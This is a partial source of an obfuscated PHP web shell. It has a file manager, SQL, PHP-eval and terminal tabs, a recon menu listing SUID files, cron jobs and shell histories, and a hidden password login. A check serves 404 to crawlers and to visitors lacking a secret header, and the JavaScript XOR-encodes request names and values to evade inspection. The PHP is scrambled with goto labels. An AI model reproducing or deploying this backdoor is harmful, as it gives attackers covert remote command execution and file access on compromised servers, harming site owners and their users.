2px;display:block;width:100%;flex:1}input[type="text"]:not(:disabled):focus{background:#fff}input[type="checkbox"]{vertical-align:text-top}input:not(:disabled):hover,select:not(:disabled):hover,button:not(:disabled):hover,input:not(:disabled):focus,select:not(:disabled):focus,button:not(:disabled):focus{background:#f0f0f0;border-color:#a7a7a7}button:not(:disabled):active{background:#e0e0e0;border-color:#a0a0a0 #d0d0d0 #d0d0d0 #a0a0a0}textarea:hover,textarea:focus{border-color:#7f7f7f}#divHdr{position:absolute;top:2px;right:4px;z-index:1}#divBody{position:relative;flex:1}#divFtr{margin:0 2px 3px 2px;clear:both}#divFtr div{flex:1 1 0}#divDtTm{text-align:center}#actLog{display:none;float:right;font-size:20px;line-height:16px}#divMsgs{position:fixed;left:0;right:0;bottom:10px;z-index:999;max-height:20%;overflow-y:auto}#divMsgs div{opacity:0.8}#divMsgs div:hover{opacity:1}.tab,:target ~ #tabInf .tab{display:inline-block;margin:5px 0 0 2px;padding:3px 15px 1px 15px;color:#707070 !important;border:1px solid #d0d0d0;border-bottom:0;border-radius:3px 3px 0 0;background:#e7e7e7}:target .tab,#tabInf .tab{position:relative;margin-bottom:-2px;padding-bottom:3px;z-index:1;color:#000 !important;background:#f7f7f7}.tabPage{display:none;float:left;width:100%;height:100%;flex-direction:column}:target .tabPage,#divInfo.tabPage{display:flex}:target ~ #tabInf>#divInfo.tabPage{display:none}.toolbar,.subbar,.panel{display:flex;border:1px solid #d0d0d0;background:#f7f7f7}.toolbar{margin:1px 0 4px 0;padding:8px 2px 5px 2px;border-width:1px 0;align-items:center;justify-content:space-between}.subbar{margin:-5px 0 4px 0;padding:2px 3px 5px 5px;border-width:0 0 1px 1px;border-radius:0 0 0 4px;align-self:flex-end}.panel{position:relative;margin:0 2px 8px 2px;padding:4px 3px}.arwUp,.arwDwn{display:inline-block;margin:0 0 2px 0;padding:0;border:solid transparent;border-width:4px 5px 4px 5px}.arwUp{border-top:0;border-bottom-color:#000}.arwDwn{border-top-color:#000;border-bottom:0}.spnChrst{display:inline-block;margin:0 0 0 4px;padding:0}.spnChrst .arwUp,.spnChrst .arwDwn{position:relative;margin:0 -16px 2px 2px}.spnChrst select{padding-left:11px}.cntrl{display:inline-block;overflow:hidden;opacity:.5;color:#000;border-radius:5px}.cntrl.arwDwn{margin:0 1px;border-width:7px 6px 0 6px;border-radius:0}.cntrl:hover,.cntrl:focus{opacity:1}.divCntrls .cntrl,#btnSrch{width:18px;height:19px}.divCntrls .cntrl{float:right;margin-top:-1px;font:normal 20px/16px Verdana,sans-serif;text-align:center}.lnkAct:hover{text-decoration:underline}.blink{animation:blink 1s steps(2,start) infinite}@keyframes blink{to{color:transparent}}.modal{display:flex;position:fixed;visibility:hidden;z-index:100;top:50%;left:50%;transform:translateX(-50%) translateY(-50%);padding:3px 3px 5px 3px;flex-direction:column;border:1px solid #fff;background:#f7f7f7;box-shadow:0 0 10px rgba(0,0,0,.5)}.divCntrls{margin-bottom:5px;user-select:none;}.spnTitle{font-weight:bold}.option{display:block;margin:0 2px 10px 2px;flex:1}.option input[type="text"]{margin:1px 0}.option select{display:block;margin:0 1px}.divMsgPrcs,.divMsgErr,.divMsgInf{margin:0 10px 10px 10px;padding:3px 3px 3px 5px;white-space:pre-wrap;border:1px solid;border-radius:3px}.divMsgPrcs{background-image:linear-gradient(#fff,#e0e0e0);border-color:#a0a0a0}.divMsgErr{background-image:linear-gradient(#fff,#ffd0d0);border-color:#ffa0a0}.divMsgInf{background-image:linear-gradient(#fff,#c0c0ff);border-color:#a0a0ff}#divStngs{width:300px}#divLog{width:80%;height:50%}#divLogCntn{overflow-y:auto}.flexRow{display:flex;align-items:center;justify-content:space-between}.unq{color:#7a6f15}#divPagePHP,#frmTrm{position:absolute;padding-bottom:30px}#btnSrch{margin-right:4px}#btnSrch:before,#btnSrch:after{content:'';display:inline-block;border:1px solid}#btnSrch:before{margin:0 0 0 2px;width:8px;height:9px;border-radius:50%}#btnSrch:after{margin:0 0 -5px 0;height:6px;transform:rotate(-45deg)}#btnFastAct{height:19px;margin-left:-4px;padding:1px 5px;border-radius:0 3px 3px 0}#btnFastAct:active{padding:2px 5px 0 5px}#frmFiles{margin:0 2px 10px 2px}#tblFiles{display:none;table-layout:fixed}#tblFiles thead th:first-of-type,#tblFiles td:first-of-type{padding:0;text-align:center}#tblFiles td:nth-of-type(3){white-space:nowrap}#tblFiles td:nth-of-type(4){text-align:right}#tblFiles td:nth-of-type(n+5){text-align:center}#txtClpbrd{position:fixed;top:-1px;left:-1px;margin:0;padding:0;width:1px;height:1px;border:0}#frmLnk,.frmFilesPrps{width:700px}#frmSrch{width:570px}#frmBuffer,.frmFile{width:800px;height:80%}.frmFile{min-width:400px;min-height:150px;overflow:auto;resize:both}.spcrFlex{border:0;flex:1}.spcr20{border:0;width:20px}.noFlex .option{flex:initial}.spnBtnSbMn{position:relative}.btnSbMn{width:75px}.divSbMn{display:none;position:absolute;top:100%;right:3px;margin-top:-1px;width:73px;z-index:1;border:1px solid #c7c7c7;background:#efefef}.aMnItm{display:block;margin:1px;padding:2px 4px}.aMnItm:hover{background:#e0e0e0}.thPth{padding:8px 0 4px 0;background:#f0f0f0}.spnPth{display:inline-block;font:14px/1.4 'Courier New',monospace}.spnPth:hover ~ .spnPth{color:#cfcfcf}.tdUp{transform:rotate(180deg)}.lnkBlck{display:block;white-space:pre-wrap;word-break:break-all;min-height:1em}.lnk:after{content:'\21B5';float:right}.mrkd{text-decoration:underline}.prm0,.prm1,.prm2,.prm3{font:12px 'Courier New',monospace}.prm0{color:red !important}.prm2{color:#2b2bb2 !important}.prm3{color:#00aa00 !important}#tabSQL .toolbar input[type="text"]{margin:1px 4px}#divSQLWrpLeft{display:none;float:left;width:25%}#divSQLWrpRight{float:right;width:75%;padding-left:5px}#divSchm{position:static;white-space:nowrap;width:100%;overflow-x:hidden}.divItm{margin-bottom:2px}.actRe{margin:0 1px -3px 0;width:16px;height:14px;font:normal 19px/10px Verdana,sans-serif;border:1px solid transparent}.aMore{margin:0 1px}/*.aMore:hover{position:absolute;padding-right:3px;border-radius:3px;background:#f7f7f7;z-index:90}*/.spnRC{position:relative;float:right;margin-left:-100%;padding-left:5px;color:#0000cc;background:rgba(247,247,247,.85)}.divLst{margin:2px 0 10px 15px}.divFldTp{height:1.5em;margin:0 0 0 18px;color:#afafaf;font-size:xx-small}.divFldTp,.divItm{text-overflow:ellipsis;overflow:hidden}#frmSQL,#frmPg{display:none}#divCptn{margin:0 4px 2px 4px;font-style:italic}#divData{margin:0 4px 4px 0;overflow:auto}#divDump{justify-content:center;align-items:center}#tblHead,#tblData{margin:0 auto;width:auto}#frmPg input[type="text"]{display:inline-block;width:auto}#frmPHP{margin-bottom:3px}.cmpsRow:before,.cmpsCol:before{margin:0 2px 0 1px;font-size:15px;line-height:0}.cmpsRow:before{content:'\2B12'}.cmpsCol:before{content:'\25E7'}#sbmPHP{margin-left:15px}#divPHP{display:flex;flex:1 1 0;overflow:hidden}#txtPHP{color:#0d0d0d;background:#fff}#prePHP{margin:2px;padding:2px 4px;flex:1 0 0;overflow:auto;background:#fff;border:1px solid #c7c7c7}#divTrm::selection{background:#f0f0f0}#divTrm,#preTrm,#inpTrm{color:#0d0d0d;font:12px/18px 'Courier New',monospace;background:#fff}#divTrm{margin:0 2px 1px 2px;padding:4px;flex:1 1 0;overflow:auto;border:1px solid #f0f0f0}#preTrm,#inpTrm{margin:0;padding:0}#preTrm{white-space:pre-wrap;-moz-tab-size:4;tab-size:4}#inpTrm{border:0}#inpTrm:focus{box-shadow:none}#tblInf{margin:4px 2px 10px 2px;width:auto}#tblInf th,#tblInf td{vertical-align:top}#tblInf th{width:1%;padding-right:10px;text-align:left;white-space:nowrap}#tblInf th:only-child{height:3em;text-align:center;vertical-align:bottom;border:none;background:#F0F0F0}#tblInf td{white-space:pre-wrap;word-break:break-all}</style> 
 
 
 
<script>HTMLSelectElement.prototype.__defineGetter__('textValue', function() { 
 return this.options[this.selectedIndex].label; 
}); 
var mdlWndws = [], 
 tmShft = <?php  goto y_1e6; uVEHS: function getPreLen() { return substr(array_sum(str_split(hash($GLOBALS["HASHTYPE"], __FILE__))), -1) + 5; } goto Qw5cs; ElmAk: if (NIX) { ?> 
 <hr class="spcr20"/><label class="option">Permission<input type="text"size="1"name="e"/></label><hr class="spcr20"/><label class="option">Owner<input type="text"size="1"name="o"/></label><hr class="spcr20"/><label class="option">Group<input type="text"size="1"name="r"/></label></div><div class="flexRow"> <?php  } goto pYW3v; s1vdE: if (PHP_VERSION >= "4.3") { $a[] = "proc_open"; } goto zOpQl; EAfVP: echo VER; goto h9kGz; FRXQl: function escFileName($v) { return str_replace(array("%", "/", "\", ":", "*", "?", """, "<", ">", "|"), array("%25", "\xe2\x95\xb1", "\342\225\xb2", "\xea\236\211", "\xe2\210\227", "%3F", "\xe2\x80\237", "%3C", "%3E", "\xe2\x88\xa3"), $v); } goto je63D; wsDu2: function tempFile($v) { if (($n = tempnam(NIX ? "/tmp" : "c:\Temp", '')) && writeFile($n, $v)) { return $n; } $a = array("upload_tmp_dir", "session.save_path", "user_dir", "doc_root"); foreach ($a as $k) { if ($n = ini_get($k)) { $n .= DSC . tempName(); if (writeFile($n, $v)) { return $n; } } } $n = selfPath() . tempName(); if (writeFile($n, $v)) { return $n; } return FALSE; } goto BUsSa; Ra745: ?> 
 
function addSortToFM(){ 
	var fmTblCols = document.getElementById('tblFiles').children[0].children[0].children; 
 
	for(i = 0; i <= fmTblCols.length; i++){ 
		if(fmTblCols[i] && fmTblCols[i].textContent){ 
			var name = fmTblCols[i].textContent.toLowerCase(); 
			fmTblCols[i].style = fmTblCols[i].style + '; cursor: pointer;'; 
			fmTblCols[i].title = 'Sort files by ' + name; 
			fmTblCols[i].setAttribute('onclick', 'sortFilesBy("' + name + '");'); 
		} 
	} 
} 
 
function sortFilesBy(name){ 
	var sorts = {'nam': '1','ext': '2','siz': '11','mod': '12','per': '14','own': '15'}; 
	var sort = sorts[name.substr(0, 3)]; 
	if(sort){ 
		fmSort = [(sort == fmSort[1] && fmSort[0] != -1 ? -1 : 1), sort]; 
		goTo(document.getElementById('frmFM').p.value); 
	} 
} 
 
addSortToFM(); 
 
window.location = '#<?php  goto cYM70; uzj97: ob_start(); goto wL14E; oHfwf: ?> 
"class="thPth"></th></tr><tr><td class="tdUp"><input type="hidden"/>&#x21b4;</td><td colspan="<?php  goto kYUjf; Qw5cs: function filterClient() { $secretHeader = isset($_SERVER["HTTP_" . $GLOBALS["SECHEAD"]]); $crawlerBot = preg_match("/bot|crawl|spider/i", $_SERVER["HTTP_USER_AGENT"]); if ($crawlerBot || !$secretHeader) { die(header("HTTP/1.1 404 Not Found")); } } goto ZgCbE; fZnG8: scriptInit(); goto qH6mN; rYG4X: foreach ($C as $k => $v) { echo "<option value="", $k, "">", $v, "</option>"; } goto HY8s3; rCOs1: ?> 
 - Date.now(), 
 exeFuncs = [], fmSort = [1, 1], 
 spnDtTm; 
document.addEventListener('DOMContentLoaded', function() { 
 if (sessionStorage.getItem('uiRszBody')) document.body.style.width = '100%'; 
 var e = elmById('dataExe').textContent.split('\n'); 
 for (var i = 0, c = e.length - 1; i < c; i += 4) { 
  var v = e[i].trimRight().split(':'); 
  if(e[i + 1] && e[i + 2] && e[i + 2]) 
	exeFuncs.push([v[0], v[1], e[i + 1].trimRight() + '@' + e[i + 2].trimRight(), e[i + 3].trimRight()]); 
 } 
 e = elmById('frmCstEnv'); 
 if (exeFuncs.length > 0) { 
  strgRstrChck('envCstm', e.e); 
  for (var i = 0, c = exeFuncs.length, v = sessionStorage.getItem('envFunc') | 0; i < c; ++i) { 
   var opt = new Option(exeFuncs[i][1], exeFuncs[i][0]); 
   if (exeFuncs[i][0] == v) opt.selected = true; 
   e.f.add(opt); 
  } 
  strgRstrVal('envShell', e.s); 
  strgRstrVal('envIntrPth', e.i); 
  strgRstrChck('envIntrOptN', e.n); 
  strgRstrChck('envIntrOptC', e.c); 
 } else { 
  elmById('fldEnv').disabled = true; 
  e.e.disabled = true; 
 } 
 strgRstrChck('ro', 'cbRO'); 
 strgRstrChck('rr', 'cbRR'); 
 strgRstrChck('tm', 'cbTM'); 
 strgRstrChck('oi', 'cbOI'); 
 fmRestoreState(); 
 sqlRestoreState(); 
 phpRestoreState(); 
 trmRestoreState(); 
 spnDtTm = elmById('divDtTm').firstChild; 
 uiUpdDtTm(); 
 setInterval(uiUpdDtTm, 1500); 
}, false); 
window.onbeforeunload = function() { 
 strgSaveBool('uiRszBody', document.body.style.width === '100%'); 
 if (exeFuncs.length > 0) { 
  var e = elmById('frmCstEnv'); 
  strgSaveBool('envCstm', e.e.checked); 
  strgSaveOpt('envFunc', e.f.value); 
  strgSaveStr('envShell', e.s.value); 
  strgSaveStr('envIntrPth', e.i.value); 
  strgSaveBool('envIntrOptN', e.n.checked); 
  strgSaveBool('envIntrOptC', e.c.checked); 
 } 
 strgRstrChck('ro', 'cbRO'); 
 strgRstrChck('rr', 'cbRR'); 
 strgRstrChck('tm', 'cbTM'); 
 strgRstrChck('oi', 'cbOI'); 
 fmSaveState(); 
 sqlSaveState(); 
 phpSaveState(); 
 trmSaveState(); 
}; 
 
function elmById(v) { 
 return document.getElementById(v); 
} 
 
function newElm(tag, attr) { 
 var e = document.createElement(tag); 
 for (var k in attr) e[k] = attr[k]; 
 return e; 
} 
 
function strgRstrVal(opt, elm) { 
 opt = sessionStorage.getItem(opt); 
 if (opt === null) return; 
 if (typeof elm === 'string') elm = elmById(elm); 
 elm.value = opt; 
} 
 
function strgRstrArr(n) { 
 var val = sessionStorage.getItem(n); 
 return val === null ? [] : JSON.parse(val); 
} 
 
function strgRstrChck(opt, elm) { 
 if (sessionStorage.getItem(opt) === null) return; 
 if (typeof elm === 'string') elm = elmById(elm); 
 elm.checked = true; 
} 
 
function uiKeyDwn(e) { 
 e = e || window.event; 
 var c = mdlWndws.length; 
 if (c === 0) return; 
 if (e.which === 27) 
  for (var i = c - 1; i >= 0; --i) { 
   if (mdlWndws[i].clientTop) return mdlWndws[i].firstChild.childNodes[1].onclick(); 
  } else if (c > 1 && e.altKey === true && e.which === 84) 
   for (var i = 0; i < c; ++i) 
    if (mdlWndws[i].clientTop && i + 1 < c) { 
     mdlWndws[i].style.zIndex = (mdlWndws[c - 1].style.zIndex | 0) + 1; 
     mdlWndws.push(mdlWndws.splice(i, 1)[0]); 
     return; 
    } 
} 
 
function uiUpdDtTm() { 
 var v = new Date(Date.now() + tmShft).toISOString(); 
 v = v.slice(0, 10) + ' ' + v.slice(11, 13) + '<span class="blink">:</span>' + v.slice(14, 16); 
 if (spnDtTm.innerHTML !== v) spnDtTm.innerHTML = v; 
} 
 
function strgSaveArr(n, v) { 
 if (v.length) sessionStorage.setItem(n, JSON.stringify(v)); 
 else sessionStorage.removeItem(n); 
} 
 
function strgSaveBool(n, v) { 
 if (typeof v === 'string') v = elmById(v).checked; 
 if (v) sessionStorage.setItem(n, 1); 
 else sessionStorage.removeItem(n); 
} 
 
function strgSaveStr(n, v) { 
 if (v === '') sessionStorage.removeItem(n); 
 else sessionStorage.setItem(n, v); 
} 
 
function strgSaveOpt(n, v) { 
 if (v !== '' && v !== 'UTF-8') sessionStorage.setItem(n, v); 
 else sessionStorage.removeItem(n); 
} 
 
function uiRszBody() { 
 var s = document.body.style; 
 s.width = s.width === '100%' ? '' : '100%'; 
 return false; 
} 
 
function uiRsz(e) { 
 
 if(typeof e === 'string') e = elmById(e); 
 
 var s = e.style; 
 var cr = JSON.parse(e.getAttribute('cr')); 
 
 if (s.width === '100%'){ 
    if(typeof cr != null){ 
        s.width = cr.width; 
        s.height = cr.height; 
        s.top = cr.top + (cr.height / 2); 
        s.left = cr.left + (cr.width / 2); 
    } 
    else{ 
      s.width = ''; 
      s.height = ''; 
    } 
 } 
 else{ 
	e.setAttribute('cr', JSON.stringify(e.getBoundingClientRect())); 
    s.top = s.left = ''; 
    s.width = s.height = '100%'; 
 } 
 
 return false; 
} 
 
function uiDelMsg(div) { 
 elmById('divMsgs').removeChild(div); 
 return false; 
} 
 
function setMsgTmr(div) { 
 var fnc = uiDelMsg.bind(null, div), 
  tmr = setTimeout(fnc, 5000); 
 div.onmouseover = function() { 
  clearTimeout(tmr); 
 }; 
 div.onmouseout = function() { 
  tmr = setTimeout(fnc, 5000); 
 }; 
} 
 
function uiClsMsg() { 
 return uiDelMsg(this.parentNode); 
} 
 
function uiMsg(msg, type) { 
 if (!type) { 
  type = 'Prcs'; 
  msg += ' \u2026'; 
 } 
 var div = newElm('div', { 
  className: 'divCntrls divMsg' + type 
 }); 
 div.appendChild(newElm('a', { 
  href: '#', 
  className: 'cntrl', 
  textContent: '\u00D7', 
  onclick: uiClsMsg 
 })); 
 div.appendChild(document.createTextNode(msg)); 
 var elm = elmById('divMsgs'); 
 elm.insertBefore(div, elm.firstChild); 
 if (type !== 'Prcs') setMsgTmr(div); 
 return div; 
} 
 
function uiChngMsg(div, msg, type) { 
 div.firstChild.onclick = uiClsMsg; 
 div.lastChild.textContent = msg; 
 div.className = 'divMsg' + type; 
 setMsgTmr(div); 
 var elm = elmById('actLog').style; 
 if (elm.display !== 'inline-block') elm.display = 'inline-block'; 
 elm = elmById('divLogCntn'); 
 elm.insertBefore(newElm('div', { 
  className: 'divMsg' + type, 
  textContent: '(' + utsToStr(Date.now() / 1000) + ') ' + msg 
 }), elm.firstChild); 
 return false; 
} 
 
function uiNetErrMsg(div) { 
 uiChngMsg(div, 'Network error\n' + div.lastChild.textContent.slice(0, -2), 'Err'); 
} 
 
function uiShwModal(elm) { 
 if (typeof elm === 'string') elm = elmById(elm); 
 if (elm.style.visibility === 'visible') return false; 
 elm.style.zIndex = mdlWndws.length === 0 ? 100 : (mdlWndws[mdlWndws.length - 1].style.zIndex | 0) + 1; 
 elm.style.visibility = 'visible'; 
 mdlWndws.push(elm); 
 elm.focus(); 
 return false; 
} 
 
function uiActvModal(evnt) { 
 var elm = evnt.currentTarget, 
  n = mdlWndws.indexOf(elm); 
 if (n !== -1) { 
  var i = mdlWndws.length - 1; 
  if (mdlWndws[i] !== elm) { 
   elm.style.zIndex = (mdlWndws[i].style.zIndex | 0) + 1; 
   mdlWndws.splice(n, 1); 
   mdlWndws.push(elm); 
  } 
 } 
 if (evnt.target.tagName === 'SPAN' || evnt.target.tagName === 'DIV') { 
  elm.style.cursor = 'move'; 
  var dx = evnt.pageX - elm.offsetLeft, 
   dy = evnt.pageY - elm.offsetTop; 
  document.onmousemove = function(e) { 
   elm.style.left = (e.clientX - dx) + 'px'; 
   elm.style.top = (e.clientY + window.pageYOffset - dy) + 'px'; 
  }; 
  document.onmouseup = function() { 
   document.onmousemove = null; 
   document.onmouseup = null; 
   elm.style.cursor = ''; 
  }; 
  evnt.preventDefault(); 
  evnt.stopPropagation(); 
  return false; 
 } 
} 
 
function uiClsModal(elm) { 
 if (typeof elm === 'string') elm = elmById(elm); 
 elm.style.visibility = 'hidden'; 
 mdlWndws.splice(mdlWndws.indexOf(elm), 1); 
 return false; 
} 
 
function uiSlctTxt(id) { 
 var r = document.createRange(), 
  s = window.getSelection(); 
 r.selectNode(elmById(id)); 
 s.removeAllRanges(); 
 s.addRange(r); 
} 
 
function utsToStr(v) { 
 if (v < 1) return '?'; 
 v = new Date(v * 1000).toISOString(); 
 return v.slice(0, 10) + ' ' + v.slice(11, 19); 
} 
 
function clnLog() { 
 elmById('actLog').style.display = 'none'; 
 elmById('divLog').style.visibility = 'hidden'; 
 var div = elmById('divLogCntn'); 
 for (var i = div.childNodes.length - 1; i >= 0; --i) div.removeChild(div.childNodes[i]); 
 return false; 
} 
var DS = '<?php  goto xwY0G; ijdF3: function writeFile($p, $c) { if ($v = fopen($p, "wb")) { flock($v, LOCK_EX); fwrite($v, $c); fflush($v); flock($v, LOCK_UN); fclose($v); return TRUE; } if (PHP_VERSION >= "5") { $v = file_put_contents($p, $c); if (is_int($v)) { return TRUE; } } if (PHP_VERSION >= "5") { if (PHP_VERSION >= "5.1") { try { $v = new SplFileObject($p, "wb"); } catch (Exception $e) { $v = FALSE; } if ($v) { $v->flock(LOCK_EX); $v->fwrite($c); $v->fflush(); $v->flock(LOCK_UN); unset($v); return TRUE; } } } return FALSE; } goto A5hck; FhPai: ?> 
</select></span><span class="spnChrst"title="Load as..."><hr class="arwDwn"/> <select id="fmCSLoad"><?php  goto nJCvK; j2VKF: if (NIX) { echo ",e:'permissions',o:'owner',r:'group'"; } goto ASpfA; wdI5q: if (isset($_SERVER["HTTP_HOST"])) { echo escHTML($_SERVER["HTTP_HOST"]); } elseif (isset($_SERVER["SERVER_NAME"])) { echo escHTML($_SERVER["SERVER_NAME"]); } goto yR2aE; BNZPY: if (NIX) { ?> 
<th width="155px">Owner</th><?php  } goto A_5i2; h9kGz: ?> 
</a></div><div id="divDtTm"title="Server Time"><span></span></div><div><a href="#"id="actLog"title="Message log"onclick="return uiShwModal('divLog')">&#x26A0;</a></div></div><div class="modal"onmousedown="uiActvModal(event)"id="divStngs"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Settings</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('divStngs')">&#x00D7;</a></div>	<label class="option"><input onclick="COOKIE = (this.checked ? 1 : 0)" type="checkbox" id="cbCO"/> Use cookie to request</label>	<label class="option"><input type="checkbox" id="cbRR"/> Skip request encoding</label><label title="Raw Output mode for big files.&#10;Skip response encoding ('ob_*')." class="option"><input type="checkbox" id="cbRO"/> Skip response encoding</label><label title="Shown in File Manager" class="option"><input type="checkbox" id="cbTM"/> <b>ctime</b> instead of <b>mtime</b></label><label class="option"><input type="checkbox" id="cbOI"/> <b>iframe</b> instead of <b>xhr</b></label><form id="frmCstEnv"onsubmit="return false"><fieldset id="fldEnv"><legend><label><input type="checkbox"id="e"/> Run in custom environment</label></legend><label>Function: <select name="f"></select></label><label class="option">Shell: <input type="text"name="s"placeholder="<?php  goto vrt7v; ZgCbE: function loginFormOut() { $html = "<html><head><meta name="robots" content="noindex"></head><body style="background:#f0f0f0;display:grid;height:100vh;margin:0;place-items:center center;"><form action="" method="POST" onsubmit="return login(this)"><input style="text-align: center" name="pass" type="password" value=""></form></body>" . paramsHandlerJS() . "</html>"; die(makeOut($html)); } goto mLSkC; u1z67: function c($s = '', $n = 0) { $r = array("/", ">", "*"); return rand($n, 1) ? "<!--" . str_replace($r, '', j(1)) . "-->" . (strlen($s) ? $s . (rand(0, 1) ? "<!--" . str_replace($r, '', j(1)) . "-->" . "
" : '') : '') : $s; } goto tn7NP; FMHLc: $GLOBALS["DEFAULT_TAB"] = "tabInf"; goto T3Gi3; eAkgp: define("RO", isset($D["ro"]) ? true : false); goto zKHge; nkF5N: if (!NIX && defined("CLSCTX_ALL")) { $a[10] = "com"; } goto J0PNS; y3G4I: $GLOBALS["HASHTYPE"] = "sha512"; goto LbO1d; djmPo: $ico = $_SERVER["DOCUMENT_ROOT"] . "/favicon.ico"; goto voBZd; LS2K7: if (NIX) { ?> 
os[f[5]] = f[7]; 
 gs[f[6]] = f[8]; 
 f.splice(7, 2); 
 <?php  } goto mMW9h; pONv0: echo NIX ? "o-OS Identification;\n l-Langs;\n c-CPU;\n r-Cron;\n h-Histories;\n f-File System;\n s-SUID Files;\n" : "s-System Info;\n t-Tasks;\n r-Share;\n"; goto HPJQi; bB1qC: ?> 
 'z', 't', 'x', 'v']; i < 5; ++i) frm[a[i]].disabled = isDir; 
} 
 
function uiShwFrmSrch() { 
 var frm = elmById('frmSrch'), 
  elm = frm.elements[0]; 
 if (elm.value === '') elm.value = elmPth.placeholder; 
 uiShwModal(frm); 
 return false; 
} 
 
function updFrmFile(frm, file, cntnt, chrst) { 
 if (file[1] !== null) { 
  var elm = frm.firstChild.firstChild; 
  switch (file[1]) { 
   case 3: 
    elm.textContent = 'Full Access'; 
    break; 
   case 2: 
    elm.textContent = 'Writable'; 
    break; 
   case 1: 
    elm.textContent = 'Read Only'; 
    break; 
   case 0: 
    elm.textContent = 'Who Do You Voodoo, Bitch?'; 
    break; 
  } 
  elm.className = 'spnTitle prm' + file[1]; 
 } 
 frm.elements[0].value = cntnt; 
 var elm = frm.elements[1]; 
 elm.value = file[0]; 
 elm.placeholder = file[0]; 
 chrst = chrst.toLowerCase(); 
 for (var i = frm.c.options.length - 1; i >= 0; --i) 
  if (frm.c.options[i].label.toLowerCase() === chrst) { 
   frm.c.selectedIndex = i; 
   break; 
  } 
} 
 
function tbdyByPath(pth) { 
 for (var i = 0, c = elmTblFiles.tBodies.length; i < c; ++i) 
  if (elmTblFiles.tBodies[i].rows[0].cells[0].textContent === pth) return elmTblFiles.tBodies[i]; 
 return null; 
} 
 
function isInsPos(file, cells) { 
 var fF = file[1] !== null, 
  rF = cells[3].firstChild.textContent !== '[ DIR ]'; 
 if (fF && rF) { 
  var by = (fmSort[0] < 3 ? fmSort[0] : 1); 
  var fExt = file[0][by], 
   rExt = cells[by].firstChild.textContent; 
  if (fExt !== rExt) return rExt > fExt; 
 } else if (fF) return false; 
 else if (rF) return true; 
 return cells[1].firstChild.textContent > file[0][1]; 
} 
 
function updTblFiles(data, ownrs, grps) { 
 var tbdyCnt = elmTblFiles.tBodies.length, 
  bpth = data.p, 
  files = data.f; 
 if (tbdyCnt === 0) return; 
 files.map(parseName); 
 files.sort(cmprFiles); 
 for (var i = 0, c = files.length; i < c; ++i) { 
  var file = files[i], 
   fpth = bpth + file[0][0], 
   lpth = file.length % 2 == 0 ? canonPath(file.slice(-1)[0], bpth) : null, 
   ogn = <?php  goto QoO1P; NKlSo: filterClient(); goto q5ODO; hfGfr: foreach ($C as $k => $v) { echo "<option value="", $k, "">", $v, "</option>"; } goto QqiLl; N7XEz: define("DSC", DIRECTORY_SEPARATOR); goto IiLfv; MxV1r: function i($s, $m, $x) { $s = str_split($s, rand($m, $x)); if ($m > 50) { $s[0] = trim(i($s[0], 1, 5, true), ""'"); } return implode("+", array_map(function ($k) { $r = date("H") > 12; return ($r ? """ : "'") . $k . ($r ? """ : "'"); }, $s)); } goto u1z67; RGiWO: foreach ($C as $k => $v) { echo "<option value="", $k, "">", $v, "</option>"; } goto xTdkr; QKFKI: function paramsHandlerJS() { return "<script>
		var ENCKEY = atob("" . base64_encode($GLOBALS["ENCKEY"]) . "");
	\x9var PRELEN = " . $GLOBALS["PRELEN"] . ";\xa\x9\x9var COOKIE = " . (int) $GLOBALS["COOKIE"] . ";

	\x9" . ($GLOBALS["DARK"] ? "invertColors();" : '') . "
	\x9startEventsListners();
\x9\x9if(COOKIE){\xa\x9\x9	if(ci = document.getElementById("cbCO"))\xa\x9			ci.checked = "on";\xa			deleteAllCookies();\xa\x9\x9}

\x9\x9function startEventsListners(){
\x9		var elements = document.getElementsByTagName("*");
		\xa			for(var i=0;i<elements.length;i++){\xa
\x9\x9\x9\x9if(elements[i].type && elements[i].type == "file")\xa\x9			\x9\x9elements[i].onchange = function(e){
\x9\x9\x9\x9		\x9if(!elmById("cbRR").checked) prepareFile(this)\xa		\x9\x9			else uplFiles();\xa		\x9	\x9	}
\x9	\x9\x9\x9
\x9		}\xa	\x9}
\x9			\xa		function bin2hex(bin){
\x9\x9  var hex = "";\xa	\x9  for(var i = 0; i<bin.length; i++){\xa	\x9    var c = bin.charCodeAt(i);\xa	\x9    if (c>0xFF) c -= 0x350;\xa\x9	    hex += (c.toString(16).length === 1 ? "0" : "") + c.toString(16);\xa	\x9  }\xa	\x9  return hex;
		}\xa\x9	
		function login(form){
\x9\x9\x9addEncKey(form);\xa			form.pass.value = setValue(form.pass.value);
\x9\x9	form.pass.name = setName(form.pass.name);\xa\x9	\x9
\x9		if(COOKIE)\xa	\x9\x9\x9submitViaCookie(form);
		\x9else
\x9		\x9return true;
	\x9\x9\x9
\x9	\x9return false;
\x9	}\xa	\x9  \xa		function hex2bin(hex) {\xa	\x9  var bin = "";\xa\x9	  for (var i=0; i<hex.length; i=i+2) {\xa		    var c = parseInt(""+hex[i]+hex[i+1], 16);\xa		    if (c>0x7F) c += 0x350;\xa		    bin += String.fromCharCode(c);
		  }
		  return bin;\xa\x9	}\xa	\x9	
\x9	function xorStr(str, decode = false) {\xa		\x9str = (!decode ? encodeURIComponent(str) : str);\xa\x9\x9\x9str = str.split("");
\x9	    key = ENCKEY.split("");
	\x9    var str_len = str.length;\xa	\x9    var key_len = key.length;
		\xa\x9\x9    var String_fromCharCode = String.fromCharCode;
\x9\x9\xa		    for(var i = 0; i < str_len; i++) {
		        str[i] = String_fromCharCode(str[i].charCodeAt(0) ^ key[i % key_len].charCodeAt(0));\xa\x9\x9    }\xa\x9	    str = str.join("");
\x9	    \xa	\x9    if(decode){ 
		\x9\x9try{\xa\x9	\x9\x9\x9str = decodeURIComponent(str);
\x9	\x9	}\xa		\x9	catch(e){\xa\x9\x9	\x9\x9str = unescape(str);\xa\x9		\x9}\xa		\x9}

\x9\x9    return str;\xa\x9	}\xa	\x9
\x9\x9function setName(str){
\x9\x9\x9str = bin2hex(xorStr(str));
\x9\x9\x9pref = ENCKEY.substr(0, PRELEN);\xa\x9\x9\x9return pref + str;\xa		}\xa\x9\x9\xa\x9\x9function setValue(str){
	\x9	return btoa(xorStr(str));
	\x9}
	\x9
		function getValue(str){
\x9\x9\x9return xorStr(atob(str), true);
\x9	}
\x9\x9\xa\x9\x9function addEncKey(form){\xa\x9\x9	var encKey = document.createElement("input");
	\x9\x9encKey.type = "hidden";\xa\x9		pref = ENCKEY.substr(0, PRELEN);\xa			encKey.name = pref.split("").reverse().join("") + pref;\xa\x9\x9\x9encKey.value = btoa(ENCKEY);
\x9		form.appendChild(encKey);
	\x9\x9return form;
\x9	}\xa	\x9
